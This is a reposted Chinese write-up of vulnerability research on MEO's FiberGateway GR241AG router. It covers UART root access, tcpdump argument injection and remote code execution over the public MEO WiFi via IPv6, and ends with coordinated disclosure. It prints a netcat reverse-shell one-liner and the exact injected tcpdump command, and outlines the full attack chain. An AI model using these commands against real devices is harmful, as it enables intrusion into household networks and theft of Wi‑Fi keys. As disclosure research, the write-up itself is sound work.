文章总结: 作者通过UART故障注入获取路由器root权限,利用tcpdump参数注入实现远程代码执行,并借默认开启的公网WiFi远程利用漏洞,影响葡萄牙运营商MEO的160万家庭。漏洞已报告并修复,作者在RootedCON2025分享研究。
综合评分: 90
文章分类: iot安全,渗透测试,漏洞分析,红队,漏洞poc
拍桌子才出 root:FiberGateway GR241AG 从 UART 故障注入打到 MEO 公网 WiFi RCE
赛博安全攻防日记
2026年9月23日 18:07
上海
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
拍桌子才出 root:FiberGateway GR241AG 从 UART 故障注入打到 MEO 公网 WiFi RCE
2023 年,作者发现葡萄牙运营商 Meo 下发的 FiberGateway GR241AG,能通过默认开启、且只能打客服才能关掉的公网 Wi‑Fi「MEO WiFi」拿下整机 root。受影响家庭超过 160 万。
缘起
2020 年作者办了 Meo 宽带。一上手 Web 面板就发现:DNS 改不了。本想挂树莓派跑 Pi-hole,又不想给每台设备单独改 DNS;前面再塞一台路由又要钱——于是埋下坑。
2022 年,不想花一百多欧从运营商买、也不想违约乱拆自家机器,就去二手市场(OLX)淘了一台 FiberGateway GR241AG,十欧到手。
找到串口
拆机后一眼看到 UART 和 JTAG。万用表摸清 UART 脚位,接上 Bus Pirate。
串口能通,但 U-Boot 有密码;启动后还要账号口令。默认 meo/meo 能进,拿到的却和 SSH/Telnet 一样——还是受限 shell。
串口 root:靠振动「故障注入」
听着像电影情节,但作者说就是这么发生的:当时旁边硬盘在做数据恢复。
HDD 震动叠加 Bus Pirate 虚接/松动,像某种 fault injection——启动过程里触发段错误,直接掉进 root shell。
接着赶紧跑 init 脚本,免得 watchdog 60 秒把 shell 杀掉。
有时候运气真的很重要。
一开始还以为是随机现象。硬盘恢复一停,shell 就再也出不来。于是流程变成:重启路由 → 拍桌子 → 再拍,直到再次掉进 root。 离谱。
管理员受限 Shell
下一步:抽固件。路由有 USB,插 U 盘拷 mtdblock,再用 binwalk 解包。翻凭据时,在某库里发现 admin 明文口令——而且不是公开默认口令。
用这口令能进 admin shell。仍受限,但能力多了不少:
- 监控流量,含公网 MEO WiFi 流量
- 升级固件
- 改 DNS
目标达成:不用再焊 UART 也能改 DNS。但作者还想继续打。
冲破受限 Shell
有了 admin 口令,就在受限 shell 里挖命令/参数注入。多数命令防得还行,唯独 tcpdump 存在 参数注入。
GTFOBins 提到:用 -z 可在日志轮转时执行命令。
路由有 USB,挂载路径已知——把可执行的反弹 shell 脚本放进 U 盘即可:
#!/bin/sh /bin/sh -c rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.79 4444 >/tmp/f
SSH 登入 admin 受限壳,执行:
/debug/tcpdump --filter="udp port 1234" --file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
再开 nc 监听,往 1234/UDP 打一包,触发 tcpdump postrotate,拿到非受限 shell。
远程代码执行
这招仍要物理插 U 盘。停测几个月后再回头看 man page:-z 配合 -G 时,postrotate 命令会把保存的文件当作输入——等于能把要执行的命令从网络侧送进去,不再需要物理接触。
默认开启的 MEO WiFi 公网
这张公网 Wi‑Fi 默认开着,只能打客服关。全国 160 万+ 热点,桥接进 Meo 骨干。
有了 root 后发现:多数服务绑在所有接口上;MEO WiFi 口只有 IPv6。从 MEO WiFi 用 IPv6 访问路由 Web——居然通了。
经 MEO WiFi 公网打 RCE
麻烦在于 IPv6 每次重启都变。Wireshark 抓联机流量也摸不准,爆破又不现实。
IPv6 有 Neighbor Discovery Protocol(NDP),靠 ICMPv6 干类似 IPv4 ARP 的活。往组播地址打 ICMPv6,就能摸到网内节点的路由信息。
MEO WiFi 口开了 NDP。往 ff02::2(All-Routers)发 ICMPv6,就能发现该接口 IPv6。
完整链路:
- 连上 MEO WiFi,对 ff02::2 发 ICMPv6,拿到 IPv6
- 用 admin 经 SSH/Telnet 连该 IPv6
- 本机 IPv6 上开 nc 监听
- 打 tcpdump 参数注入,拿 反向 shell
作者还写了两份 Python:一份跑完整利用链,一份直接 dump 私网 Wi‑Fi 的 WPA2 密钥。
影响面
站在任一 160 万+ 热点的信号范围内,攻击者可以:
- DNS 劫持
- 抽通话记录
- 监控流量
- 抽 WPA2 密钥
- 摸内网设备
- DoS
披露
作者报给葡萄牙国家网络安全中心(CNCS),对方转 Meo CERT。一周后,经 MEO WiFi 口的 RCE 路径就被掐断。
其余问题随后几个月陆续修;admin 口令也换了,作者没法再复测。
没拿赏金,至少获准发这篇 writeup。
时间线
顺手挖到的
不在主链上、但也值得记一笔:
-
nslookup
输出重定向导致的 任意写
-
wget
上的 缓冲区溢出
RootedPT 2025
作者在 RootedCON PT 2025 讲了这套研究——台上很嗨,台下也好评。
作者:João Domingos / r0ny
免责声明:
本人所有文章均为技术分享,均用于防御为目的的记录,请勿用于其他用途,否则后果自负。
更多 IoT / 车联网 / 机器人 / AI 安全资料在星球里,扫码进「车联网攻防日记」。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博安全攻防日记 《拍桌子才出 root:FiberGateway GR241AG 从 UART 故障注入打到 MEO 公网 WiFi RCE》